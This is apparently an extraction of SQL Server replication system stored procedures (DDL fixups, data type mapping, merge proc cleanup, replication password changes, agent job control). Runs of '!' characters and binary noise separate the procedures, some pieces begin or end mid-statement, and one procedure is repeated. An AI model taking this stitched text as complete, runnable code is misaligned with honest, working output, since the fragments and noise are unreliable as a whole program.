			and c.name not in (select ColumnName collate database_default from #tran_altertable 
										where EnumType = @subtype_addcolumn)
	if @@ERROR <> 0
	begin
		goto FAILURE
	end		

	--fish out individual 'add check constraint' in current DDL
	update #tran_altertable set
		check_nocheck = case is_not_trusted when 1 then N' WITH NOCHECK ' else N'' end 
		,stmt = N'CONSTRAINT ' + quotename(name) + N' CHECK NOT FOR REPLICATION ' + definition 
		from sys.check_constraints 
		join #tran_altertable t on name = t.ColumnName collate database_default 
		where parent_object_id = @objid and t.EnumType = @subtype_addchk
	if @@ERROR <> 0
	begin
		goto FAILURE
	end		

	--fish out individual 'add computed column' in current DDL
	update #tran_altertable set
		stmt = quotename(scc.name) + N' AS ' + scc.definition,
		column_id = scc.column_id
		from 
		sys.computed_columns scc
			join #tran_altertable t on scc.name = t.ColumnName collate database_default 
		where scc.object_id = @objid and t.EnumType = @subtype_addcolumn 
	if @@ERROR <> 0
	begin
		goto FAILURE
	end		

	--finsh out 'add foreign key' here, it will be modified within article loop again 
	--because each article may have different setting for dest_table/dest_owner
	--
	DECLARE #fkcursor CURSOR LOCAL FAST_FORWARD for
			select  quotename(ColumnName) ,f.referenced_object_id
					from #tran_altertable t
					join sys.foreign_keys f on f.name = t.ColumnName collate database_default 
					where f.parent_object_id = @objid 
							and EnumType = @subtype_addfk

		open #fkcursor
		fetch #fkcursor into @colname, @referenced_object_id
		while @@fetch_status <> -1
		begin
			select @stmt = stmt, @reftable = reftable, @refcollist = refcollist, @stmtend = stmtend, @refcolcount = refcolcount
				from sys.fn_MStran_foreignkey(@objid, @referenced_object_id, @colname) 

			if @debug_print = 1
				select 'stage' = 'sp_MSfixup_single_ddls:fk'
										,'@colname' = @colname
										,'@referenced_object_id' = @referenced_object_id
										,'@stmt' = @stmt
										,'@reftable' = @reftable
										,'@refcollist' = @refcollist
										,'@refcolcount' = @refcolcount
										,'@stmtend' = @stmtend

			update #tran_altertable 
					set stmt = @stmt, reftable = @reftable, refcollist = @refcollist, stmtend = @stmtend, refcolcount = @refcolcount
					where quotename(ColumnName) = @colname collate database_default 
			if @@ERROR <> 0
			begin
				goto DROPTRAN
			end		

			fetch #fkcursor into @colname, @referenced_object_id
		end
		close #fkcursor
		deallocate #fkcursor

		if @debug_print = 1
			select 'stage' = 'sp_MSfixup_single_ddls:complete'
						,'comments' = 'rebuild un/chk/df(some)'
						, * from #tran_altertable 

		commit tran replddl_fixup_single_cmds
		return 0

DROPTRAN:
	close #fkcursor
	deallocate #fkcursor
FAILURE:
	rollback tran replddl_fixup_single_cmds
	commit tran
	return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<%_E08!q D8Dh'0Aw@ D8 h'(0us@ 	8
--
-- Name:
--		sp_adddatatypemapping
--
-- Description:
--		Add source/destination data type mapping
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		public
--
-- Notes:
--		Implicitly will create a DBMS map if it doesn't
--		currently exist.  DBMS types must exist before
--		adding a mapping.  If no default currently
--		exists, this is set as the default mapping
--

CREATE PROCEDURE sys.sp_adddatatypemapping
(
	@source_dbms				sysname,
	@source_version				varchar(10) = NULL,
	@source_type				sysname,
	@source_length_min			bigint = NULL,
	@source_length_max			bigint = NULL,
	@source_precision_min		bigint = NULL,
	@source_precision_max		bigint = NULL,
	@source_scale_min			int = NULL,
	@source_scale_max			int = NULL,
	@source_nullable			bit = NULL,
	@destination_dbms			sysname,
	@destination_version		varchar(10) = NULL,
	@destination_type			sysname,
	@destination_length			bigint = NULL,
	@destination_precision		bigint = NULL,
	@destination_scale			int = NULL,
	@destination_nullable		bit = NULL,
	@destination_createparams	int = NULL,
	@dataloss					bit = 0,
	@is_default					bit = 0
)
AS
BEGIN
	DECLARE @retcode	int

	-- Issue unsupported warning
	RAISERROR(21769, 10, -1)

	-- Do data type mapping
	EXEC @retcode = sp_MSrepl_adddatatypemapping	@source_dbms				= @source_dbms,
													@source_version				= @source_version,
													@source_type				= @source_type,
													@source_length_min			= @source_length_min,
													@source_length_max			= @source_length_max,
													@source_precision_min		= @source_precision_min,
													@source_precision_max		= @source_precision_max,
													@source_scale_min			= @source_scale_min,
													@source_scale_max			= @source_scale_max,
													@source_nullable			= @source_nullable,
													@destination_dbms			= @destination_dbms,
													@destination_version		= @destination_version,
													@destination_type			= @destination_type,
													@destination_length			= @destination_length,
													@destination_precision		= @destination_precision,
													@destination_scale			= @destination_scale,
													@destination_nullable		= @destination_nullable,
													@destination_createparams	= @destination_createparams,
													@dataloss					= @dataloss,
													@is_default					= @is_default

	RETURN @retcode
END
0yt@ 88create procedure sys.sp_MSdroplightweightarticleprocs
	@pubid		uniqueidentifier,
	@artid		uniqueidentifier
as
	set nocount on

	declare @postfix	nchar(32)
	declare @procname	sysname
	declare @command	nvarchar(4000)
	declare @retcode	tinyint

	select @postfix= procname_postfix from dbo.sysmergearticles
		where pubid=@pubid and artid=@artid

	-- remove the insert proc
	set @procname= 'MSmerge_lws_sp_ins_' + @postfix
	set @procname= 'dbo.' + quotename(@procname)
	if object_id(@procname, 'P') is not null
	begin
		select @command = 'drop procedure ' + @procname
		exec(@command)
		if @@error <> 0 return 1
	end

	-- remove the update proc
	set @procname= 'MSmerge_lws_sp_upd_' + @postfix
	set @procname= 'dbo.' + quotename(@procname)
	if object_id(@procname, 'P') is not null
	begin
		select @command = 'drop procedure ' + @procname
		exec(@command)
		if @@error <> 0 return 1
	end

	-- remove the delete proc
	set @procname= 'MSmerge_lws_sp_del_' + @postfix
	set @procname= 'dbo.' + quotename(@procname)
	if object_id(@procname, 'P') is not null
	begin
		select @command = 'drop procedure ' + @procname
		exec(@command)
		if @@error <> 0 return 1
	end

	-- remove the multipurpose proc
	set @procname= 'MSmerge_lws_sp_multi_' + @postfix
	set @procname= 'dbo.' + quotename(@procname)
	if object_id(@procname, 'P') is not null
	begin
		select @command = 'drop procedure ' + @procname
		exec(@command)
		if @@error <> 0 return 1
	end

	-- remove the conflict insert proc if article is not also in another publication.
	if not exists (select * from dbo.sysmergearticles
						where pubid<>@pubid and artid=@artid)
	begin
		exec @retcode= sys.sp_MSdrop_ins_conflict_proc @pubid=@pubid, @artid=@artid
		if @@error<>0 or @retcode<>0 return 1
	end

	return 0
), -- keep the type as it used to be in Shiloh
        DESCRIPTION         = convert(nvarchar(1), null)
    from
        sys.all_objects o inner join
        sys.check_constraints m on (o.type = 'C ' and m.object_id = o.object_id)
    where
        @constraint_schema is null or schema_id(@constraint_schema) = o.schema_id -- check schema IDs

    order by 1,2,3
0us@ 	8
--
-- Name:
--		sp_adddatatypemapping
--
-- Description:
--		Add source/destination data type mapping
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		public
--
-- Notes:
--		Implicitly will create a DBMS map if it doesn't
--		currently exist.  DBMS types must exist before
--		adding a mapping.  If no default currently
--		exists, this is set as the default mapping
--

CREATE PROCEDURE sys.sp_adddatatypemapping
(
	@source_dbms				sysname,
	@source_version				varchar(10) = NULL,
	@source_type				sysname,
	@source_length_min			bigint = NULL,
	@source_length_max			bigint = NULL,
	@source_precision_min		bigint = NULL,
	@source_precision_max		bigint = NULL,
	@source_scale_min			int = NULL,
	@source_scale_max			int = NULL,
	@source_nullable			bit = NULL,
	@destination_dbms			sysname,
	@destination_version		varchar(10) = NULL,
	@destination_type			sysname,
	@destination_length			bigint = NULL,
	@destination_precision		bigint = NULL,
	@destination_scale			int = NULL,
	@destination_nullable		bit = NULL,
	@destination_createparams	int = NULL,
	@dataloss					bit = 0,
	@is_default					bit = 0
)
AS
BEGIN
	DECLARE @retcode	int

	-- Issue unsupported warning
	RAISERROR(21769, 10, -1)

	-- Do data type mapping
	EXEC @retcode = sp_MSrepl_adddatatypemapping	@source_dbms				= @source_dbms,
													@source_version				= @source_version,
													@source_type				= @source_type,
													@source_length_min			= @source_length_min,
													@source_length_max			= @source_length_max,
													@source_precision_min		= @source_precision_min,
													@source_precision_max		= @source_precision_max,
													@source_scale_min			= @source_scale_min,
													@source_scale_max			= @source_scale_max,
													@source_nullable			= @source_nullable,
													@destination_dbms			= @destination_dbms,
													@destination_version		= @destination_version,
													@destination_type			= @destination_type,
													@destination_length			= @destination_length,
													@destination_precision		= @destination_precision,
													@destination_scale			= @destination_scale,
													@destination_nullable		= @destination_nullable,
													@destination_createparams	= @destination_createparams,
													@dataloss					= @dataloss,
													@is_default					= @is_default

	RETURN @retcode
END
0L| D8:h/!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!oC
`<E&k|0#Zj r8CREATE PROCEDURE sys.sp_MSchangerepltablepasswords
(
	@server				sysname,
	@login				sysname,
	@password			sysname,
	@distribution_db	sysname
)
AS
BEGIN
	SET NOCOUNT ON

	DECLARE @retcode			int,
			@proc				nvarchar(524),
			@server_id			int,
			@encrypted_password nvarchar(524)

	-- Security Check
	IF IS_SRVROLEMEMBER('sysadmin') <> 1
	BEGIN
		-- "Only members of the sysadmin fixed server role can perform this operation."
		RAISERROR(21089, 16, -1)
		RETURN 1 
	END
	
	-- retrieve the server id for later use
	SELECT @server_id = srvid
		FROM [master].[dbo].sysservers
		WHERE UPPER(srvname) = UPPER(@server)
	
	/*
	 * Perform updates based on type of db
	 */
	BEGIN TRANSACTION tr_MSchange_repltable_password
	SAVE TRANSACTION tr_MSchange_repltable_password
	
	-- Distribution Database tables
	IF OBJECT_ID('MSlogreader_agents', 'U') IS NOT NULL
	BEGIN
		-- Encrypt the password
		SELECT @encrypted_password = @password
		
		EXEC @retcode = sys.sp_MSreplencrypt @encrypted_password OUTPUT
		IF @@ERROR <> 0 OR @retcode <> 0
			GOTO FAILURE
			
		UPDATE MSlogreader_agents
			SET publisher_password = @encrypted_password
			WHERE (publisher_id = @server_id
					OR @server = N'%')
				AND publisher_security_mode = 0
				AND publisher_login = @login
		IF @@ROWCOUNT > 0 RAISERROR(21451, 10, -1, 'logreader agent', 'publisher', @server, @login) WITH LOG
	END

	IF OBJECT_ID('MSsnapshot_agents', 'U') IS NOT NULL
	BEGIN
		-- Encrypt the password
		SELECT @encrypted_password = @password
		
		EXEC @retcode = sys.sp_MSreplencrypt @encrypted_password OUTPUT
		IF @@ERROR <> 0 OR @retcode <> 0
			GOTO FAILURE
			
		UPDATE MSsnapshot_agents
			SET publisher_password = @encrypted_password
			WHERE (publisher_id = @server_id
					OR @server = N'%')
				AND publisher_security_mode = 0
				AND publisher_login = @login
		IF @@ROWCOUNT > 0 RAISERROR(21451, 10, -1, 'snapshot agent', 'publisher', @server, @login) WITH LOG
	END
	
	IF OBJECT_ID('MSdistribution_agents', 'U') IS NOT NULL
	BEGIN
		-- Encrypt the password
		SELECT @encrypted_password = @password
		
		EXEC @retcode = sys.sp_MSreplencrypt @encrypted_password OUTPUT
		IF @@ERROR <> 0 OR @retcode <> 0
			GOTO FAILURE
			
		UPDATE MSdistribution_agents
			SET subscriber_password = @encrypted_password
			WHERE (subscriber_id = @server_id
					OR @server = N'%')
				AND subscriber_security_mode = 0
				AND subscriber_login = @login
		IF @@ROWCOUNT > 0 RAISERROR(21451, 10, -1, 'distribution agent', 'subscriber', @server, @login) WITH LOG
	END

	IF OBJECT_ID('MSmerge_agents', 'U') IS NOT NULL
	BEGIN
		-- Encrypt the password
		SELECT @encrypted_password = @password
		
		EXEC @retcode = sys.sp_MSreplencrypt @encrypted_password OUTPUT
		IF @@ERROR <> 0 OR @retcode <> 0
			GOTO FAILURE
			
		UPDATE MSmerge_agents
			SET subscriber_password = @encrypted_password
			WHERE (subscriber_id = @server_id
					OR @server = N'%')
				AND subscriber_security_mode = 0
				AND subscriber_login = @login
		IF @@ROWCOUNT > 0 RAISERROR(21451, 10, -1, 'merge agent', 'subscriber', @server, @login) WITH LOG

		UPDATE MSmerge_agents
			SET publisher_password = @encrypted_password
			WHERE (publisher_id = @server_id
					OR @server = N'%')
				AND publisher_security_mode = 0
				AND publisher_login = @login
		IF @@ROWCOUNT > 0 RAISERROR(21451, 10, -1, 'merge agent', 'publisher', @server, @login) WITH LOG
	END

	IF OBJECT_ID('MSsubscriber_info', 'U') IS NOT NULL
	BEGIN
		-- Encrypt the password
		SELECT @encrypted_password = @password
		
		EXEC @retcode = sys.sp_MSreplencrypt @encrypted_password OUTPUT
		IF @@ERROR <> 0 OR @retcode <> 0
			GOTO FAILURE
			
		UPDATE MSsubscriber_info
			SET password = @encrypted_password
			WHERE (UPPER(subscriber) = UPPER(@server)
					OR @server = N'%')
				AND security_mode = 0
				AND login = @login
		IF @@ROWCOUNT > 0 RAISERROR(21451, 10, -1, 'default', 'subscriber', @server, @login) WITH LOG
	END

	-- Subscription Database tables
	IF OBJECT_ID('MSsubscription_properties', 'U') IS NOT NULL
	BEGIN
		DECLARE @fpullsubexists bit

		SELECT @fpullsubexists = 0
		
		IF OBJECT_ID('MSreplication_subscriptions', 'U') IS NOT NULL
		BEGIN
			-- we will only update if there are any pull subscriptions
			IF EXISTS(SELECT * 
						FROM MSreplication_subscriptions
						WHERE subscription_type != 0)
			BEGIN
				SELECT @fpullsubexists = 1
			END
		END

		IF OBJECT_ID('sysmergesubscriptions', 'U') IS NOT NULL
		BEGIN
			-- we will only update if there are any pull subscriptions
			IF EXISTS(SELECT * 
						FROM sysmergesubscriptions
						WHERE subscription_type != 0)
			BEGIN
				SELECT @fpullsubexists = 1
			END
		END

		IF @fpullsubexists = 1
		BEGIN
			-- Encrypt the password
			SELECT @encrypted_password = @password
			
			EXEC @retcode = sys.sp_MSreplencrypt @encrypted_password OUTPUT
			IF @@ERROR <> 0 OR @retcode <> 0
				GOTO FAILURE
				
			UPDATE MSsubscription_properties
				SET publisher_password = @encrypted_password
				WHERE (UPPER(publisher) = UPPER(@server)
						OR @server = N'%')
					AND publisher_security_mode = 0
					AND publisher_login = @login
			IF @@ROWCOUNT > 0 RAISERROR(21451, 10, -1, 'subscription', 'publisher', @server, @login) WITH LOG
			
			UPDATE MSsubscription_properties
				SET distributor_password = @encrypted_password
				WHERE (UPPER(distributor) = UPPER(@server)
						OR @server = N'%')
					AND distributor_security_mode = 0
					AND distributor_login = @login
			IF @@ROWCOUNT > 0 RAISERROR(21451, 10, -1, 'subscription', 'distributor', @server, @login) WITH LOG

			-- 
			-- UPDATE MSsubscription_properties
			-- 	SET internet_password = @encrypted_password
			-- 	WHERE internet_security_mode = 0
			-- 		AND internet_login = @login
			-- IF @@ERROR <> 0 GOTO FAILURE
			-- 
		END
	END

	-- MSDB Database tables
	IF OBJECT_ID('MSdistpublishers', 'U') IS NOT NULL
	BEGIN
		-- Encrypt the password
		SELECT @encrypted_password = @password,
				@proc = QUOTENAME(@distribution_db) + '.sys.sp_MSreplencrypt'
		
		EXEC @retcode = @proc @encrypted_password OUTPUT
		IF @@ERROR <> 0 OR @retcode <> 0
			GOTO FAILURE
			
		UPDATE MSdistpublishers
			SET password = @encrypted_password
			WHERE (UPPER(name) = UPPER(@server)
					OR @server = N'%')
				AND security_mode = 0
				AND login = @login
		IF @@ROWCOUNT > 0 RAISERROR(21451, 10, -1, 'default', 'publisher', @server, @login) WITH LOG
	END

	COMMIT TRANSACTION tr_MSchange_repltable_password

	RETURN 0
FAILURE:
	ROLLBACK TRANSACTION tr_MSchange_repltable_password
	COMMIT TRANSACTION 

	RETURN 1
END
0&r@ 8create procedure sys.sp_MSgetpeerconflictname(
	@prefix sysname,
	@tabid	int,
	@peerconflictname sysname output
)
as
begin
	declare	@ownername     sysname
			,@basetablename     sysname
			,@tconflictname nvarchar(270)

	select	@ownername = schema_name(objectproperty(@tabid, 'SchemaId'))
			,@basetablename = OBJECT_NAME(@tabid)

	select @tconflictname = @prefix + N'_'  + @ownername + N'_' + @basetablename
	if LEN(@tconflictname) > 128
	begin
		declare @quaname nvarchar(1000)
		select @quaname = @ownername + N'.' + @basetablename
		raiserror (22816, 16, -1, @quaname) 
		
		select @peerconflictname = NULL
	end
	else
		select @peerconflictname = @tconflictname
		
	return
end
obcontrol'

    exec @retcode = @cmd
                    @publication = @publication,
                    @publisher = @publisher,
                    @action = @stop
    return (@retcode)

end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<;'VNnR0|z ^8create procedure sys.sp_MSpullsubscriptionagentjobcontrol
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname,
    @action         tinyint
)
WITH EXECUTE AS 'dbo'
as
begin
    set nocount on
    declare @retcode            int
    declare @job_id             uniqueidentifier
    declare @subscription_type  int

    set @retcode = 0
    set @job_id = null
    set @subscription_type = null

    if object_id('dbo.MSreplication_subscriptions') is null
    begin
        raiserror (20017, 16, -1)
        return 1
    end

    -- Subscription existence check
    select @subscription_type = subscription_type 
      from dbo.MSreplication_subscriptions
     where upper(publisher) = upper(@publisher)
       and publisher_db = @publisher_db 
       and publication = @publication

    if @subscription_type is null
    begin
        raiserror (20017, 16, -1)
        return 1
    end     

    if @subscription_type = 0
    begin
        raiserror (21001, 16, -1)
        return 1
    end
    

    if object_id('dbo.MSsubscription_properties') is not null
    begin
        select @job_id = sjs.job_id
          from MSsubscription_properties sp
    inner join msdb.dbo.sysjobsteps sjs
            on sp.job_step_uid = sjs.step_uid
    inner join msdb.dbo.sysjobs_view sjv
            on sjv.job_id = sjs.job_id
         where upper(publisher) = upper(@publisher)
           and publisher_db = @publisher_db
           and publication = @publication              
           and sjv.master_server = 0
           and sjv.category_id = 10
           and sjs.subsystem = N'Distribution'
           and (sjs.database_name is null or sjs.database_name = db_name())
    end

    if @job_id is null
    begin
        -- "The specified pull subscription is not configured with a synchronization agent job."
        raiserror(21848, 16, -1)
        return 1
    end

    exec @retcode = sp_MSreplicationagentjobcontrol 
        @job_id = @job_id,
        @action = @action
    
    return @retcode
    
end
0tԇ 8create procedure sys.sp_MSscript_sync_ins_proc (
    @publication sysname, 
    @article     sysname,
    @procname    sysname,
    @alter bit = 0 -- if 1 script alter, otherwise script create
)
as
BEGIN
    declare @source_objid int
            ,@colname sysname
            ,@artid int
            ,@indid int
            ,@cmd          nvarchar(4000)
            ,@outvars      nvarchar(4000)
            ,@rc           int
            ,@error_cmd tinyint
            ,@identity_insert bit
            ,@queued_pub bit

    set nocount on
    --
    -- security check -- dbo+ to script create or script alter
    --
    exec @rc = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @rc <> 0
    begin
        return (1)
    end

    --
    -- Create temp table
    --
    create table #proctext ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null)
    select @queued_pub = allow_queued_tran from syspublications where name = @publication
    --
    -- proc definition
    --
    exec @rc = sys.sp_MSscript_beginproc @publication, @article, @procname, @source_objid output, @artid output, @alter
    if @@error <> 0 or @rc <> 0
        return
    --
    -- Check to see if identity insert must be turned on
    -- i.e. Does the table has identity that are included in the partition?
    --
    exec sys.sp_MSis_identity_insert @publication = @publication
            ,@article = @article
            ,@identity_insert = @identity_insert output
            ,@mode = 1
    --
    -- construct parameter list
    --
    exec sys.sp_MSscript_params @source_objid, @artid, null, 1,  @outvars output
    --
    -- add other parameters and start body of proc
    --
    exec sys.sp_MSscript_procbodystart @queued_pub, @identity_insert
    --
    -- script the security and execution mode  and subscription validation checks
    --
    exec sys.sp_MSscript_ExecutionMode_stmt @publication, @article, 0
    --
    -- Work around for case where article has 1 col that is not user-modfied (identity, timestamp)
    -- *** Do we need to check this here - 
    -- *** we should be checking this when creating subscription
    -- 
    exec @rc = sys.sp_MStable_not_modifiable @source_objid, @artid
    if @rc = 1
        select @error_cmd = 1
    else
    begin
        exec @indid = sys.sp_MStable_has_unique_index @source_objid 
        if (@outvars is not null and @indid = 0)
            -- no insert/update allowed if timestamp/identity col and no unique index
            select @error_cmd = 1
        else
            select @error_cmd = 0       
    end

    if (@error_cmd = 0)
    begin
        --
        -- script insert statemnt
        --
        exec sys.sp_MSscript_insert_statement @source_objid, @artid, @identity_insert, @queued_pub
        --
        -- script queued specific stuff
        --
        if (@queued_pub = 1)
        begin
            --
            -- script Conflict finder
            --
            exec sp_MSscriptinsertconflictfinder @publication, @article, @source_objid
            --
            -- script Conflict resolution block for Publisher Wins case
            --
            exec sys.sp_MSscript_insert_pubwins @publication, @article, @source_objid
            --
            -- script Conflict resolution block for Subscriber Wins case
            --
            exec sys.sp_MSscript_insert_subwins @publication, @article, @source_objid, @artid, @identity_insert
        end
        --
        -- script closing 
        --
        exec sys.sp_MSscript_endproc @source_objid, 'ins', @artid, @outvars, @queued_pub, @identity_insert
    end
    else
    begin
        --
        -- Generate error command and finish
        --
        insert into #proctext(procedure_text) values( N'
    exec sys.sp_MSreplraiserror 20516
END
')
    end
    --
    -- send fragments to client
    --
    select procedure_text from #proctext order by c1 asc
END
0g@ 8create procedure sys.sp_MSissubscriber_of_wellpartitionedarticle @artid uniqueidentifier, @subscriber_of_wellpartitionedarticle bit output as
begin
    declare @pubid uniqueidentifier, @retcode int
    
    if exists (select pubid from dbo.sysmergepartitioninfo 
				where artid = @artid 
				and partition_options > 1
				and sys.fn_MSmerge_islocalpubid(pubid) = 0)
		select @subscriber_of_wellpartitionedarticle = 1
	else
		select @subscriber_of_wellpartitionedarticle = 0
		
	return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<((!vexCREATE PROCEDURE sys.sp_changereplicationserverpasswords
(
	@login_type		tinyint,		-- 0: SQL Authenticated Logins or Linked Servers 1: Windows Authenticated Logins
	@login			nvarchar(257),
	@password		sysname,
	@server			sysname = N'%'
)
AS
BEGIN
	SET NOCOUNT ON

	DECLARE @FIsPublisher	bit,
			@FIsDistributor	bit
			
	DECLARE @retcode			int,
			@command			nvarchar(4000),
			@database			sysname,
			@credential 		sysname,
			@identity			sysname,
			@publisher			sysname,
			@publisher_type		sysname,
			@distribution_db	sysname

	SELECT @FIsPublisher = 0,
			@FIsDistributor	= 0
			
	SELECT	@publisher_type = N'MSSQLSERVER',
			@server         = ISNULL(@server, N'%'),
			@password       = ISNULL(@password, N'')

	-- Security Check
	IF IS_SRVROLEMEMBER('sysadmin') <> 1
	BEGIN
		-- "Only members of the sysadmin fixed server role can perform this operation."
		RAISERROR(21089, 16, -1)
		RETURN 1 
	END

	IF LOWER(DB_NAME()) != N'master'
	BEGIN
		-- "sp_changereplicationserverpasswords can only be executed in the master database."
		RAISERROR (21482, 16, -1, 'sp_changereplicationserverpasswords', 'master')
		RETURN 1
	END

	IF RTRIM(ISNULL(@login, N'')) = N''
	BEGIN
		-- Invalid value given for parameter @login.
		RAISERROR(21456, 16, -1, '@login')
		RETURN 1
	END

	IF RTRIM(ISNULL(@password, N'')) = N''
	BEGIN
		-- Invalid value given for parameter @password.
		RAISERROR(21456, 16, -1, '@password')
		RETURN 1
	END
	
	-- check for tran (category&1) and merge (category&4) published dbs
	IF EXISTS(SELECT name
				FROM master.sys.sysdatabases
				WHERE category & 1 = 1)
		OR 
		EXISTS(SELECT name
				FROM master.sys.sysdatabases
				WHERE category & 4 = 4)
	BEGIN
		SELECT @FIsPublisher = 1
	END

	-- check for dist server or distdb 
	IF EXISTS(SELECT * 
				FROM master.dbo.sysservers	
				WHERE srvstatus & 8 <> 0)
		OR 
		EXISTS (SELECT name
				FROM master.sys.sysdatabases
				WHERE category & 16 = 16)
	BEGIN
		SELECT @FIsDistributor = 1

		SELECT @distribution_db = name
			FROM master.sys.sysdatabases
			WHERE category & 16 = 16
	END

	/**********************************************************
	 *     CHANGES TO BE DONE OUTSIDE OF A TRANSACTION
	 **********************************************************/
	 
	-- these steps must be done outside of the transaction 
	-- block because they deal with linked server logins and 
	-- can NOT be done within any transaction boundaries...
	IF @login_type = 0
	BEGIN	
		-- if we are at a distributor srv or at a publisher and 
		-- if this is the dist admin link login name then
		-- we will attempt to update the dist link password
		IF (@FIsDistributor = 1
				OR @FIsPublisher = 1)
			AND @login = N'distributor_admin'
		BEGIN
			EXEC @retcode = sys.sp_changedistributor_password @password = @password
			IF @retcode <> 0 or @@ERROR <> 0
				RETURN 1

			RAISERROR(21451, 10, -1, 'distributor', 'admin', 'admin link', 'distributor_admin') WITH LOG
		END
		
		-- if we are at a distributor server then lets check to see if
		-- we have to update any hetero linked server logins in this run
		IF @FIsDistributor = 1
			AND OBJECT_ID('msdb..MSdistpublishers', 'U') IS NOT NULL
		BEGIN
			DECLARE cursorDistPublishers CURSOR LOCAL FAST_FORWARD FOR
				SELECT name 
					FROM msdb..MSdistpublishers 
					WHERE (UPPER(name) = UPPER(@server)
							OR @server = N'%')
						AND security_mode = 0
			OPEN cursorDistPublishers

			FETCH cursorDistPublishers INTO @publisher
			WHILE @@FETCH_STATUS <> -1
			BEGIN
